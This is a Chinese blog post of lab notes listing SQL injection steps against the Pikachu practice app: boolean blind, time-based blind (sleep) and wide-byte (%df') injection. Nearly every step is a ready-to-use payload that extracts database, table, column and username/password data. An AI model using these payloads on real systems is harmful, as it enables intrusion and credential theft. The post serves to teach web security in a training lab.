SQL注入之常见注入的步骤④

SQL注入之常见注入的步骤④

盲注:(布尔)

①判断注入:name=kobe’ and 1=1 %23 正常, name=kobe’ and 1=2 报错 存在注入

②通过length判断数据库的长度
name=kobe’ and length (database())>6 %23 正常,>7报错 所以长度为7

③判断数据库第一位的ascii值
name=kobe’ and ascii(substr(database(),1,1))>111 正常 >112报错 所以库的第一位ascii值为112

④判断数据表第一位的ascii值
name=kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103%23 正常 , >104报错 ascii值为104

⑤判断字段:与表类似

⑥判断数据:
name=kobe’ and ascii(substr((select username from users limit 0,1 ),1,1)) >96 %23 正常, >97报错 所以第一个username的ascii值为97

盲注(时间)

①判断注入:kobe’ and sleep(5) 延时5秒后才显示,存在注入

②通过ascii判断数据库
kobe’ and if(ascii(substr(database(),1,1))>111,sleep(6),1) 有延迟 >112 无延迟 第一位ascii为112

③爆数据表
kobe’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103,sleep(6),1)# 有延迟,>104无延迟 所以第一位ascii值为104
④爆数据列
kobe’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>116,sleep(6),1)# 有延迟,>117无延迟 所以第一位ascii值为116

⑤爆数据
kobe’ and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(3),1)# 有延迟, >101无延迟 所以第一位ascii值为101

宽字节注入

①抓包

②判断注入:在后面加%df’看是否报错,报错为宽字节注入

③判断列数:name=a%df’ order by 3 报错,order by 2 无报错 为2列

④爆数据库:name=a%df’ union select 1,database()%23

⑤爆数据表:name=-a%df’union select table_name,2 from information_schema.tables where table_schema=database()%23

⑥爆数据列name=-a%df’union select column_name,2 from information_schema.columns where table_name=‘users’%23

⑦爆数据name=-a%df’union select concat(username,0x7e,password),2 from users%23

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值